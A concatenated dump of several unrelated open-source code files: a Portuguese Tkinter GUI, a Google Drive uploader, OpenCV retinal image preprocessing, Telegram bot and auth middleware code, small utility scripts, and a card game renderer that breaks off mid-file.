= \"\"\" Gilliard Macedo Vieira de Carvalho\\n\r\n E-mail: gilliardmacedo@gmail.com\\n\\n\r\n Luís Augusto Vieira Ribeiro\\n\r\n E-mail: lavribeiro@gmail.com\\n\\n\r\n Stella Mendes Meireles Bonifácio\\n \r\n E-mail: stellameireles@gmail.com\\n\\n\\n\r\n Orientador: Edison Ishikawa\\n\r\n E-mail: ishikawa@unb.br\\n\\n\\n\r\n Programa de Pós-Graduação em Computação Aplicada\\n\r\n Universidade de Brasília - UnB\\n\r\n Brasília, Brasil\"\"\"\r\n self.labelSobre = Label(janela, text=autores)\r\n self.labelSobre.place(x=280, y = 30)\r\n\r\n # Registra que a tela de Descrição do Problema foi visitada\r\n telaSobreVisitada.set(True)\r\n\r\n # Apagando todos os registros de atividades realizadas anteriores a esta\r\n telaAlgoritmoExatoVisitada.set(False)\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada.set(False)\r\n telaAlgoritmoGeneticoCustoLatenciaVisitada.set(False)\r\n telaDescricaoProblemaVisitada.set(False)\r\n telaTodoVisitada.set(False)\r\n \r\n # Monta a interface gráfica do sistema aSR4\r\n def __init__(self, janela):\r\n \r\n # Instruções\r\n self.lblTitle=Label(janela, text=\"Problema SR4\", font=(\"Helvetica\", 48))\r\n self.lblTitle.place(x=230, y=50)\r\n \r\n self.lblInst=Label(janela, text=\"Selecione na barra de menu a opção desejada\", font=(\"Helvetica\", 24))\r\n self.lblInst.place(x=150, y=350)\r\n \r\n #Título da janela\r\n janela.title(\"Análise NP-Completo SR4: Custo de Recuperação Esperado\")\r\n \r\n #Tamanho da janela\r\n janela.geometry('800x500')\r\n\r\n # Construindo o Menu do sistema\r\n barraMenu = tk.Menu(janela)\r\n menuASR4 = tk.Menu(barraMenu, tearoff=0)\r\n \r\n menuASR4.add_command(label=\"Algoritmo Exato\", command=self.telaAlgoritmoExato)\r\n\r\n # Construindo o submenu do sistema algoritmo aproximado\r\n subMenuAlgoritmoAproximado = tk.Menu(menuASR4, tearoff=0)\r\n subMenuAlgoritmoAproximado.add_command(label=\"Função Fitness da Média Esperada\", command=self.telaAlgoritmoGeneticoMediaEsperada)\r\n subMenuAlgoritmoAproximado.add_command(label=\"Função Fitness do Custo de Latência\", command=self.telaAlgoritmoGeneticoCustoLatencia)\r\n\r\n # Adicionando ao menubar\r\n menuASR4.add_cascade(\r\n label=\"Algoritmo Genético com\",\r\n menu=subMenuAlgoritmoAproximado\r\n )\r\n \r\n menuASR4.add_separator()\r\n menuASR4.add_command(label=\"Sair\", command=quit)\r\n barraMenu.add_cascade(label=\"Início\", menu=menuASR4)\r\n \r\n menuAjuda = tk.Menu(barraMenu, tearoff=0) \r\n menuAjuda.add_command(label=\"Descrição do Problema\", command=self.descricaoProblema)\r\n menuAjuda.add_command(label=\"Sobre\", command=self.sobre)\r\n barraMenu.add_cascade(label=\"Ajuda\", menu=menuAjuda)\r\n\r\n janela.config(menu=barraMenu)\r\n janela.mainloop()\r\n\r\n#########################\r\n# Programa Principal\r\n#########################\r\nif __name__ == \"__main__\":\r\n \r\n # Janela do sistema aSR4\r\n janela = tk.Tk()\r\n \r\n # Declaração de variáveis globais \r\n numTotParticoes = tk.StringVar()\r\n valorReferencia = tk.StringVar()\r\n probabilidades = tk.StringVar()\r\n saidasAlgoritmoExatoSomaInvalidaProbabilidades = tk.StringVar()\r\n saidasAlgoritmoGeneticoMediaEsperadaSomaInvalidaProbabilidades = tk.StringVar()\r\n saidasAlgoritmoGeneticoCustoLatenciaSomaInvalidaProbabilidades = tk.StringVar()\r\n saidasAlgoritmoExatoValoresInvalidosIeJ = tk.StringVar() \r\n algoritmoExatoExecutado = tk.BooleanVar(False)\r\n algoritmoGeneticoMediaEsperadaExecutado = tk.BooleanVar(False)\r\n algoritmoGeneticoCustoLatenciaExecutado = tk.BooleanVar(False)\r\n telaAlgoritmoExatoVisitada = tk.BooleanVar(False)\r\n telaAlgoritmoGeneticoMediaEsperadaVisitada = tk.BooleanVar(False)\r\n telaAlgoritmoGeneticoCustoLatenciaVisitada = tk.BooleanVar(False)\r\n telaDescricaoProblemaVisitada = tk.BooleanVar(False)\r\n telaSobreVisitada = tk.BooleanVar(False)\r\n telaTodoVisitada = tk.BooleanVar(False)\r\n\r\n # Chamando o sistema\r\n Sistema(janela) ","repo_name":"gilliardmacedo/aed-ppca-2021-sr4","sub_path":"SR4-InterfaceVisual.py","file_name":"SR4-InterfaceVisual.py","file_ext":"py","file_size_in_byte":59753,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17784835913","text":"#!/usr/bin/env python3\n\n\"\"\"Script to upload specific files to Google Drive.\n\nThis script developed and tested with Python 3.6.x. It has not been\ntested with other versions (e.g., Python 2.7.x).\n\n-----\n\nThis script requires a \"client_id.json\" file with the app credentials\nfrom the Google App dashboard. This file is not committed here in git\nfor obvious reasons (!).\n\nThis script will create a \"user-credentials.json\" file in the same\ndirectory with the result of getting user consent for the Google\nAccount being used to authenticate.\n\nNote that this script works on Windows, Linux, and OS X. But first,\nyou need to install some Python classes (if you can find them in your\nnative package manager, so much the better):\n\n pip3 install --upgrade [--user] google-api-python-client\n pip3 install --upgrade [--user] httplib2\n\nRegarding Google Drive / Google Python API documentation:\n\n1. In terms of authentication, this is very helpful to read:\n\n https://developers.google.com/identity/protocols/OAuth2\n\nThis script is using the \"Installed Applications\" scheme.\n\n2. In terms of the Google Python docs, this is very helpful to read:\n\n https://developers.google.com/api-client-library/python/start/get_started\n\nWe are using Authorized API access (OAuth 2.0).\n\nSteps:\n\n2a. Request a(n application) token\n2b. Provider user consent\n2c. Get an authorization code from Google\n2d. Send the code to Google\n2e. Receive access token and refresh token\n2f. Can make API calls with the access token\n2g. If the access token is expired, use the refresh token. If the\n refresh token doesn't work, go back to step 2 (or step 1?).\n\n\"\"\"\n\nimport json\nimport os\nimport time\nimport httplib2\nimport logging\nimport logging.handlers\nimport traceback\nimport mimetypes\n\nfrom pprint import pprint\n\nfrom apiclient.discovery import build\nfrom apiclient.http import MediaFileUpload\nfrom oauth2client import tools\nfrom oauth2client.file import Storage\nfrom oauth2client.client import AccessTokenRefreshError\nfrom oauth2client.client import OAuth2WebServerFlow\n\n# Globals\nguser_cred_file = 'user-credentials.json'\nguser_agent = 'py_uploader'\ngauth_grace_period = 60\ngauth_max_attempts = 3\n# Scopes documented here:\n# https://developers.google.com/drive/v3/web/about-auth\ngscope = 'https://www.googleapis.com/auth/drive'\n\nfolder_mime_type = 'application/vnd.google-apps.folder'\n\n####################################################################\n#\n# Google Team Drive functions\n#\n####################################################################\n\ndef gd_load_app_credentials(app_id_file, log):\n # Read in the JSON file to get the client ID and client secret\n if not os.path.isfile(app_id_file):\n diediedie(\"Error: JSON file {0} does not exist\"\n .format(app_id_file))\n if not os.access(app_id_file, os.R_OK):\n diediedie(\"Error: JSON file {0} is not readable\"\n .format(app_id_file))\n\n with open(app_id_file) as data_file:\n app_cred = json.load(data_file)\n\n log.debug('Loaded application credentials from {0}'\n .format(app_id_file))\n return app_cred\n\n#-------------------------------------------------------------------\n\ndef gd_load_user_credentials(scope, app_cred, user_cred_filename, log):\n # Get user consent\n client_id = app_cred['installed']['client_id']\n client_secret = app_cred['installed']['client_secret']\n flow = OAuth2WebServerFlow(client_id, client_secret, scope)\n flow.user_agent = guser_agent\n\n storage = Storage(user_cred_filename)\n user_cred = storage.get()\n\n # If no credentials are able to be loaded, fire up a web\n # browser to get a user login, etc. Then save those\n # credentials in the file listed above so that next time we\n # run, those credentials are available.\n if user_cred is None or user_cred.invalid:\n user_cred = tools.run_flow(flow, storage,\n tools.argparser.parse_args())\n\n log.debug('Loaded user credentials from {0}'\n .format(user_cred_filename))\n return user_cred\n\n#-------------------------------------------------------------------\n\ndef gd_authorize(user_cred, log):\n http = httplib2.Http()\n http = user_cred.authorize(http)\n service = build('drive', 'v3', http=http)\n\n log.debug('Authorized to Google')\n return service\n\n#-------------------------------------------------------------------\n\ndef gd_login(args, log):\n # Put a loop around this so that it can re-authenticate via the\n # OAuth refresh token when possible. Real errors will cause the\n # script to abort, which will notify a human to fix whatever the\n # problem was.\n auth_count = 0\n while auth_count < gauth_max_attempts:\n try:\n # Authorize the app and provide user consent to Google\n log.debug(\"Authenticating to Google...\")\n app_cred = gd_load_app_credentials(args.app_id, log)\n user_cred = gd_load_user_credentials(gscope, app_cred,\n args.user_credentials, log)\n service = gd_authorize(user_cred, log)\n log.info(\"Authenticated to Google\")\n break\n\n except AccessTokenRefreshError:\n # The AccessTokenRefreshError exception is raised if the\n # credentials have been revoked by the user or they have\n # expired.\n log.error(\"Failed to authenticate to Google (will sleep and try again)\")\n\n # Delay a little and try to authenticate again\n time.sleep(10)\n\n auth_count = auth_count + 1\n\n if auth_count > gauth_max_attempts:\n log.error(\"Failed to authenticate to Google {0} times.\\nA human needs to figure this out.\"\n .format(gauth_max_attempts))\n\n return service\n\n#===================================================================\n\ndef gd_find_folder(service, folder_id, log):\n # See if this folder ID exists (and is a folder)\n try:\n response = (service.files()\n .get(fileId=folder_id,\n supportsTeamDrives=True).execute())\n except:\n log.error(\"Failed to find Google Drive ID {f}\".format(f=folder_id))\n exit(1)\n\n log.debug(\"Validated Google Drive destination ID exists: {id}\"\n .format(id=folder_id))\n\n mime = response.get('mimeType', [])\n if not mime:\n log.error(\"Failed to verify that Google Drive ID is a folder\")\n exit(1)\n\n if mime != folder_mime_type:\n log.error(\"Destination Google Drive ID is not a folder\")\n log.error(\"It's actually: {m}\".format(m=mime))\n exit(1)\n\n log.debug(\"Validated Google Drive destination ID is a folder\")\n\n return response\n\n#===================================================================\n\ndef gd_upload_file(service, dest_folder, upload_filename, log):\n basename = os.path.basename(upload_filename)\n mime = mimetypes.guess_type('file://{f}'\n .format(f=upload_filename))\n if mime == (None, None):\n mime = 'application/x-sqlite3'\n log.debug('Got no mime type: assume {m}'.format(m=mime))\n\n log.debug('Uploading file \"{base}\" (Google Drive folder ID: {folder}, MIME type {m})'\n .format(base=basename,\n folder=dest_folder['id'],\n m=mime))\n metadata = {\n 'name' : basename,\n 'mimeType' : mime,\n 'parents' : [ dest_folder['id'] ]\n }\n media = MediaFileUpload(upload_filename,\n mimetype=mime,\n resumable=True)\n file = service.files().create(body=metadata,\n media_body=media,\n supportsTeamDrives=True,\n fields='name,id,webContentLink,webViewLink').execute()\n log.debug('Successfully uploaded file: \"{f}\" --> Google Drive file ID {id}'\n .format(f=basename, id=file['id']))\n\n####################################################################\n#\n# Setup functions\n#\n####################################################################\n\ndef setup_logging(args):\n level=logging.ERROR\n\n if args.debug:\n level=\"DEBUG\"\n elif args.verbose:\n level=\"INFO\"\n\n log = logging.getLogger('mp3')\n log.setLevel(level)\n\n # Make sure to include the timestamp in each message\n f = logging.Formatter('%(asctime)s %(levelname)-8s: %(message)s')\n\n # Default log output to stdout\n s = logging.StreamHandler()\n s.setFormatter(f)\n log.addHandler(s)\n\n return log\n\n#-------------------------------------------------------------------\n\ndef add_cli_args():\n tools.argparser.add_argument('--app-id',\n default='client_id.json',\n help='Filename containing Google application credentials')\n tools.argparser.add_argument('--user-credentials',\n default='user-credentials.json',\n help='Filename containing Google user credentials')\n\n tools.argparser.add_argument('files',\n metavar='file',\n nargs='+',\n help='File (or files) to upload to Google Drive')\n\n tools.argparser.add_argument('--dest',\n required=True,\n help='ID of target Google Folder')\n\n tools.argparser.add_argument('--verbose',\n required=False,\n action='store_true',\n default=True,\n help='If enabled, emit extra status messages during run')\n tools.argparser.add_argument('--debug',\n required=False,\n action='store_true',\n default=False,\n help='If enabled, emit even more extra status messages during run')\n\n args = tools.argparser.parse_args()\n\n # --debug also implies --verbose\n if args.debug:\n args.verbose = True\n log = setup_logging(args)\n\n # Sanity check that the specified files all exist\n for f in args.files:\n if not os.path.exists(f):\n log.error(\"File does not exist: {f}\".format(f=f))\n exit(1)\n\n return log, args\n\n####################################################################\n#\n# Main\n#\n####################################################################\n\ndef main():\n log, args = add_cli_args()\n service = gd_login(args, log)\n dest_folder = gd_find_folder(service, args.dest, log)\n\n for f in args.files:\n log.info(\"Uploading file: {f}\".format(f=f))\n gd_upload_file(service, dest_folder, f, log)\n\n log.info(\"Finished uploading files\")\n\nif __name__ == '__main__':\n main()\n","repo_name":"MercyAcademy/mercy","sub_path":"google-drive-uploader/google-drive-uploader.py","file_name":"google-drive-uploader.py","file_ext":"py","file_size_in_byte":10991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"41330144815","text":"# Listing all the imports\nimport cv2\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nimport time\nimport imutils\nimport math\n\n# image_name = input(\"Enter the name of image to be processed : \")\nimage = cv2.imread('4.png')\nimage = imutils.resize(image, height = 520, width = 400) \n# image = cv2.resize(image, (600, 600)) \norg = image.copy()\n\ndef displayImage(image, display_name):\n cv2.namedWindow(display_name,cv2.WINDOW_AUTOSIZE)\n cv2.imshow(display_name, image)\n\n\ngray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\nblurred = cv2.GaussianBlur(gray, (5, 5), 0)\nthresh = cv2.threshold(blurred, 10, 255, cv2.THRESH_BINARY)[1]\n\ncnts = cv2.findContours(thresh.copy(), cv2.RETR_EXTERNAL,\n\tcv2.CHAIN_APPROX_SIMPLE)\ncnts = imutils.grab_contours(cnts)\ncnts = max(cnts, key=cv2.contourArea)\n# print(cnts)\n# print(thresh[cX,cY])\nleftmost = tuple(cnts[cnts[:,:,0].argmin()][0])\nrightmost = tuple(cnts[cnts[:,:,0].argmax()][0])\ntopmost = tuple(cnts[cnts[:,:,1].argmin()][0])\nbottommost = tuple(cnts[cnts[:,:,1].argmax()][0])\n# print('leftmost',leftmost)\n# print('rightmost',rightmost)\n# print('topmost',topmost)\n# print('bottommost',bottommost)\n\nx1 = leftmost[0]\ny1 = topmost[1]\nx2 = rightmost[0]\ny2 = bottommost[1]\nht = int(y1 - y2)\nwd = int(x2 - x1)\nprint(x1,y1,'---',x2,y2)\n\nc = cnts\nM = cv2.moments(cnts)\nif( M[\"m00\"]==0):\n cX, cY = 0, 0\nelse:\n cX = int(M[\"m10\"] / M[\"m00\"])\n cY = int(M[\"m01\"] / M[\"m00\"])\n\nprint(cX,cY)\nif(cX < cY):\n r = cX\nelse:\n r = cY\n\n# draw the contour and center of the shape on the image\ncv2.drawContours(image, [c], -1, (0, 255, 0), 2)\ncv2.circle(image, (cX, cY), 7, (255, 255, 255), -1)\ncv2.putText(image, \"center\", (cX - 20, cY - 20),\n cv2.FONT_HERSHEY_SIMPLEX, 2, (255, 255, 255), 2)\n\n\ndef Radius_Reduction(img,cX,cY,r):\n h,w,c=img.shape\n Frame=np.zeros((h,w,c),dtype=np.uint8)\n # cv2.circle(Frame,(int(math.floor(w/2)),int(math.floor(h/2))),int(math.floor((h*PARAM)/float(2*100))), (255,255,255), -1)\n cv2.circle(Frame,(int(cX),int(cY)),int(r), (255,255,255), -1)\n Frame1=cv2.cvtColor(Frame, cv2.COLOR_BGR2GRAY)\n img1 =cv2.bitwise_and(img,img,mask=Frame1)\n return img1\n\n\n# crop = org[y1:y2 - y1, x1:x2 - x1]\ncrop = org[y1:y2, x1:x2]\ncrop = imutils.resize(crop, height = 520, width = 400) \n\n#-----CLAHE----------------------------------- \nlab= cv2.cvtColor(crop, cv2.COLOR_BGR2LAB)\nl, a, b = cv2.split(lab)\nclahe = cv2.createCLAHE(clipLimit=3.0, tileGridSize=(8,8))\ncl = clahe.apply(l)\nlimg = cv2.merge((cl,a,b))\nfinal = cv2.cvtColor(limg, cv2.COLOR_LAB2BGR)\n\n# -------------------------------------------\n\ndef subtract_median_bg_image(im):\n k = np.max(im.shape)//20*2+1\n bg = cv2.medianBlur(im, k)\n return cv2.addWeighted (im, 4, bg, -4, 100)\n\nsmed = subtract_median_bg_image(final)\n\n\nimg1 = Radius_Reduction(smed,cX,cY,r)\n#-----Augmentation-------------------------------\nx_flip = cv2.flip( crop, 0 )\ny_flip = cv2.flip( crop, 1 )\nxy_flip = cv2.flip(x_flip,1)\n\n\nimgf = cv2.bitwise_and(smed,final)\ndisplayImage(imgf, 'imgf')\n\n# normalizedImg = cv2.normalize(imgf, normalizedImg, alpha=50, beta=255, norm_type=cv2.NORM_MINMAX)\n\n# show the image\n# displayImage(image, 'cnts')\n# displayImage(thresh, 'thresh')\ndisplayImage(img1, 'img1')\ndisplayImage(org, 'org')\ndisplayImage(crop, 'crop')\ndisplayImage(final, 'final')\n# displayImage(normalizedImg, 'normalizedImg')\ndisplayImage(smed, 'smed')\n# cv2.imwrite('ans.png',smed)\n# cv2.imwrite('anscr.png',crop)\n# displayImage(x_flip, 'x')\n# displayImage(y_flip, 'y')\n# displayImage(xy_flip, 'xy')\n\n\n\n\ncv2.waitKey(0)\ncv2.destroyAllWindows()","repo_name":"yogendra-yatnalkar/Diabetic_Retinopathy_Detection","sub_path":"src/practice-useless/contour.py","file_name":"contour.py","file_ext":"py","file_size_in_byte":3590,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"18"} +{"seq_id":"32212250105","text":"\nimport json\n\nwith open('./package.json') as file:\n package = json.load(file)\n version = package['version']\n\ndef replace(path, old, new):\n with open(path, 'r') as file:\n content = file.read()\n content = content.replace(old, new)\n with open(path, 'w') as file:\n file.write(content)\n\nreplace('./dist/pypi/setup.py', '0.0.0', version)\nreplace('./dist/pypi/netron/__version__.py', '0.0.0', version)\nreplace('./dist/pypi/netron/index.html', '0.0.0', version)\n","repo_name":"eagle20111/netron","sub_path":"publish/version.py","file_name":"version.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"31651487325","text":"from typing import Optional, Tuple\r\n\r\nfrom starlette.authentication import AuthCredentials, AuthenticationBackend, SimpleUser\r\nfrom starlette.requests import HTTPConnection\r\n\r\nfrom core.config import settings\r\nfrom core.logger import logger\r\n\r\n\r\nclass TokenAuthBackend(AuthenticationBackend):\r\n CREDENTIALS = {\r\n \"Authorization\": {\r\n \"username\": \"nenaprasno\",\r\n \"token\": settings.site_api_bot_token,\r\n },\r\n \"X-Telegram-Bot-Api-Secret-Token\": {\r\n \"username\": \"telegram\",\r\n \"token\": settings.secret_telegram_token,\r\n },\r\n }\r\n\r\n def get_auth_credentials(\r\n self, request_token: str, header_value: dict\r\n ) -> Optional[Tuple[AuthCredentials, SimpleUser]]:\r\n actual_token = header_value[\"token\"]\r\n user = header_value[\"username\"]\r\n\r\n if request_token == actual_token:\r\n logger.info(\"Got a request from %s\", user)\r\n return AuthCredentials([\"authenticated\"]), SimpleUser(user)\r\n\r\n logger.warning(\"Unauthorized access attempt with token %s\", request_token)\r\n return None\r\n\r\n async def authenticate(self, conn: HTTPConnection) -> Optional[Tuple[AuthCredentials, SimpleUser]]:\r\n for header, header_value in self.CREDENTIALS.items():\r\n if header in conn.headers:\r\n request_token = conn.headers[header]\r\n return self.get_auth_credentials(request_token, header_value)\r\n\r\n logger.warning(\"Unauthorized access attempt without token\")\r\n return None\r\n","repo_name":"Studio-Yandex-Practicum/ask_nenaprasno_bot","sub_path":"src/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"29413686991","text":"from aiogram_dialog import Dialog, Window, DialogManager, ChatEvent\nfrom typing import Any\nfrom aiogram_dialog.widgets.text import Const, Format\nfrom tgbot.getters.set_timer_getter import set_time_getter\nfrom aiogram.types import ParseMode\nfrom tgbot.states.set_timer_states import TimerState\nfrom aiogram_dialog.widgets.kbd import Cancel, Select\nfrom .helper import bolder\nfrom loguru import logger\n\n\n# sending hours to next window\nasync def hours_changed(c: ChatEvent,\n select: Any,\n manager: DialogManager,\n item_id: str,\n ):\n manager.current_context().dialog_data[\"hours\"] = int(item_id)\n await manager.dialog().next()\n\n\n# sending minutes to next window\nasync def minutes_changed(c: ChatEvent,\n select: Any,\n manager: DialogManager,\n item_id: str,\n ):\n manager.current_context().dialog_data[\"minutes\"] = int(item_id)\n await manager.dialog().next()\n\n\n# Диалог с установкой времени\ntimer = Dialog(\n Window(\n Const(bolder('⏰ Установите таймер:')),\n Const(bolder(\"Верхняя строка - часы\")),\n Select(\n Format(\"{item}\"),\n items=[1, 2, 3, 4, 5, ],\n item_id_getter=lambda x: x,\n id=\"hours\",\n on_click=hours_changed,\n ),\n Const(bolder(\"Нижняя строка - минуты\")),\n Select(\n Format(\"{item}\"),\n items=[10, 20, 30, 40, 50],\n item_id_getter=lambda x: x,\n id=\"minutes\",\n on_click=minutes_changed,\n ),\n\n Cancel(Const(\"Отмена 🙅‍♂️\")),\n state=TimerState.preset_time_state,\n parse_mode=ParseMode.HTML,\n ),\n\n Window(\n Const(\"Время установлено\"),\n Cancel(Const(\"Завершить\")),\n state=TimerState.add_job_state,\n parse_mode=ParseMode.HTML,\n getter=set_time_getter,\n ),\n)\n","repo_name":"hermanguilliman/power_switch_bot","sub_path":"tgbot/dialogs/set_timer_dialog.py","file_name":"set_timer_dialog.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"70961124520","text":"#!/usr/bin/env python\n\nimport tensorflow as tf\nimport numpy as np\n\nx = tf.range(1, 10, name=\"x\")\n\nrange_q = tf.train.range_input_producer(limit=5, shuffle=False)\n\nslice_end = range_q.dequeue()\n\ny = tf.slice(x, [0], [slice_end], name=\"y\")\n\nwith tf.Session() as sess:\n sess.run(y)\n\n\n","repo_name":"zhmz90/Daily","sub_path":"learn/tensorflow/public/rnn/batch_padding.py","file_name":"batch_padding.py","file_ext":"py","file_size_in_byte":282,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5337678501","text":"import csv\nfrom pprint import pprint\nfrom merge import merge_row\nfrom correction import correction_of_records\n\n\nif __name__ == '__main__':\n\n res_list = []\n\n with open(\"phonebook_raw.csv\", encoding='UTF-8') as f:\n rows = csv.reader(f, delimiter=\",\")\n contacts_list = list(rows)\n\n temp_list = correction_of_records(contacts_list)\n\n for tmp in temp_list:\n\n for i, res in enumerate(res_list):\n\n if tmp[0] == res[0] and tmp[1] == res[1] and tmp != res:\n res_list[i] = merge_row(tmp, res)\n break\n\n else:\n res_list.append(tmp)\n\n pprint(res_list)\n\n with open(\"phonebook.csv\", \"w\", encoding='UTF-8') as f:\n datawriter = csv.writer(f, delimiter=',')\n datawriter.writerows(res_list)","repo_name":"Dolinin2021/regex_hw_dolinin","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"5885085603","text":"from prettytable import PrettyTable\nimport os, time\n\nfrom Board import Board\nfrom Bench import Bench\nfrom Card import Card\nfrom Consts import bcolors, COLORS, COLOR_NAME, TIMESCALE\nfrom Player import Player\nfrom Player_IDK import PlayerIDK\nfrom Player_Random import PlayerRandom\nfrom Player_Greedy import PlayerGreedy\nfrom Player_Real import PlayerReal\nfrom Player_Scared import PlayerScared\nfrom Player_Generic import PlayerGeneric\n\ndef sleep(type:str, ai):\n time.sleep(ai.SleepTime(type) * TIMESCALE)\n\ndef printCard(card: Card):\n lines = card.getCard()\n for line in lines:\n print(line)\n\ndef printStacks(board: Board, nextCard: Card):\n draw = Card.getCardBack()+[str(len(board.deck))+(' '*(7-len(str(len(board.deck)))))]\n empty = Card.getCardEmpty()\n reverse = Card(cardType='switch').getCard()+['Reverse']\n if nextCard != None:\n nextC = nextCard.getCard()+['Drawn Card']\n else:\n nextC = Card.getCardEmpty()+['Drawn Card']\n cards = [[],[],[]]\n for i in range(3):\n cards[i] = list(map(lambda val: val.getCard(), board.stacks[i]))\n\n height = max(len(cards[0]), len(cards[1]), len(cards[2]))\n lines = max(6, 5 + (2*(height-1)))\n\n stackIndex = [0,0,0]\n\n for i in range(lines):\n if i != 0 and i % 2 == 0:\n for j in range(3):\n if len(cards[j]) > stackIndex[j]+1:\n stackIndex[j] += 1\n\n if(i < len(draw)):\n print(draw[i], end=\" \")\n else:\n print(' ', end=\" \")\n\n for j in range(3):\n if len(cards[j])>0:\n if (i < (stackIndex[j]*2) + len(cards[j][stackIndex[j]])):\n print(cards[j][stackIndex[j]][i-(stackIndex[j]*2)], end=\" \")\n else:\n print(' ', end=\" \")\n else:\n if(i < len(empty)):\n print(empty[i], end=\" \")\n else:\n print(' ', end=\" \")\n\n if(board.reverse == True and i < len(reverse)):\n print(reverse[i], end=\" \")\n else:\n print(' ', end=\" \")\n\n if(i < len(nextC)):\n print(nextC[i], end=\" \")\n else:\n print(' ', end=\" \")\n\n print()\n\ndef clearBoard():\n print(bcolors.ENDC)\n os.system('cls' if os.name == 'nt' else 'clear')\n\ndef drawBoard(board: Board, playerTurn:int, nextCard: Card=None):\n if board.showGame == False:\n return\n clearBoard()\n x = PrettyTable()\n columns = ['Points']\n for i in range(board.players):\n if i == board.pTurn:\n columns.append(f'{bcolors.BOLD}{bcolors.UNDERLINE}Player {i+1}{bcolors.ENDC}')\n else:\n columns.append(f'Player {i+1}')\n x.field_names = columns\n\n x.add_row(['AI']+[x.name for x in board.playerAI])\n \n for c in range(5):\n points = [f'{COLORS[c]}{COLOR_NAME[c]}{bcolors.ENDC}']\n for i in range(board.players):\n points.append(f'{COLORS[c]}{board.getPlayerScore(i, c)}{bcolors.ENDC}')\n x.add_row(points)\n points = [f'Total']\n for i in range(board.players):\n points.append(f'{board.getPlayerScore(i, -1)}')\n x.add_row(points)\n print(x)\n\n # print(f'\\nPlayer {board.pTurn+1}\\'s Turn:')\n printStacks(board, nextCard)\n\n printReturn(board.getReturnStats(playerTurn))\n printStats(board.nextCardStats)\n\n printEvents(board.events)\n\ndef printEvents(events: list[str]):\n x = PrettyTable(['Events'])\n x.align = \"l\"\n for row in events:\n x.add_row([row])\n print(x.get_string(end=10))\n\ndef printStats(data):\n x = PrettyTable()\n x.align = 'r'\n x.field_names = ['%', '1', '2', '3', '4', '5', '6', 'Total']\n for c in range(len(COLORS)):\n r = [COLORS[c]+COLOR_NAME[c]]\n for n in range(6):\n r.append(data[f'{n+1}_{COLOR_NAME[c]}'])\n r.append(str(round(sum(r[1:]),2))+bcolors.ENDC)\n x.add_row(r)\n total = ['Total']\n transposed_matrix = zip(*x.rows)\n totalRows = [col for col in transposed_matrix]\n total += [round(sum(col),2) for col in totalRows[1:-1]] + [data['NUM']]\n x.add_row(total)\n x.add_row(['']*8)\n bustData = data['BUST']\n if bustData > 0:\n bustData = f'{bcolors.RED}{bustData}{bcolors.ENDC}'\n x.add_row(['ROLL', data['ROLL'], '', 'SWITCH', data['SWITCH'], '', 'BUST', bustData])\n print(x)\n\ndef printReturn(stats):\n x = PrettyTable()\n x.field_names = [f'Player {stats[-1]+1}', 'Stack 1', 'Stack 2', 'Stack 3']\n x.add_row(['Min Gain']+ [s['min'] for s in stats[:-1]])\n x.add_row(['Avg Gain']+ [s['avg'] for s in stats[:-1]])\n x.add_row(['Max Gain']+ [s['max'] for s in stats[:-1]])\n print(x)\n\ndef printResults(results: dict, currentGame: int, totalGames: int):\n table = PrettyTable()\n keys = results.keys()\n keys = sorted(keys)\n table.field_names = [f'{currentGame}/{totalGames} Games']+['Player '+str(x+1) for x in keys]\n\n table.add_row(['Strategy'] + [results[x]['strategy'] for x in keys])\n table.add_row(['Wins'] + [results[x]['wins'] for x in keys])\n table.add_row(['Win %'] + [str(round((results[x]['wins']/currentGame)*100,2))+'%' for x in keys])\n table.add_row(['Avg. Points'] + [round(results[x]['totalPoints']/results[x]['wins'],2) for x in keys])\n \n print(table)\n\ndef Draw(board: Board, ai):\n nextCard = board.drawCard()\n if nextCard == None:\n return False\n if nextCard.type == 'num':\n board.addEvent(f'Player {board.pTurn+1}: Choosing a stack for {nextCard.color}{nextCard.number}{bcolors.ENDC}')\n else:\n board.addEvent(f'Player {board.pTurn+1}: Choosing a stack for {nextCard.type}')\n drawBoard(board, board.pTurn, nextCard)\n sleep('placeStack_before', ai)\n\n if nextCard.type == 'switch':\n board.reverse = not board.reverse\n else:\n availableStacks = []\n for i in range(3):\n if board.canPlaceInStack(i, nextCard):\n availableStacks.append(i)\n\n if len(availableStacks) == 0:\n board.addEvent(f'Player {board.pTurn+1}: Pushed Too Far - Busted')\n drawBoard(board, board.pTurn, nextCard)\n return True\n \n stackIndex = ai.PlaceInStack(nextCard, board.stacks, availableStacks, board.nextCardStats, board.getReturnStats())\n board.placeStack(nextCard, stackIndex)\n\n drawBoard(board, board.pTurn)\n return False\n\ndef endgame(board: Board):\n topPlayer = 0\n topPoints = 0\n for i in range(board.players):\n pnts = board.getPlayerScore(i)\n if pnts > topPoints:\n topPlayer = i\n topPoints = pnts\n board.addEvent(f'Player {topPlayer+1}: WON with {topPoints} points!!!!')\n drawBoard(board, topPlayer)\n results = dict()\n results['strategy'] = board.playerAI[topPlayer].name\n results['playerNum'] = topPlayer\n results['score'] = topPoints\n return results\n\ndef Game(AI: list[Player], showGame=True):\n board = Board(showGame, AI)\n turn = 0\n while True:\n board.pTurn = turn % board.players\n ai = board.playerAI[board.pTurn]\n board.resetRound()\n board.addEvent(f'Player {board.pTurn+1}: Start Turn')\n drawBoard(board, board.pTurn)\n\n busted = False\n if ai.DrawOrBank(board.nextCardStats, board.getReturnStats()) == True:\n board.addEvent(f'Player {board.pTurn+1}: Drawing')\n drawBoard(board, board.pTurn)\n sleep('draw_before', 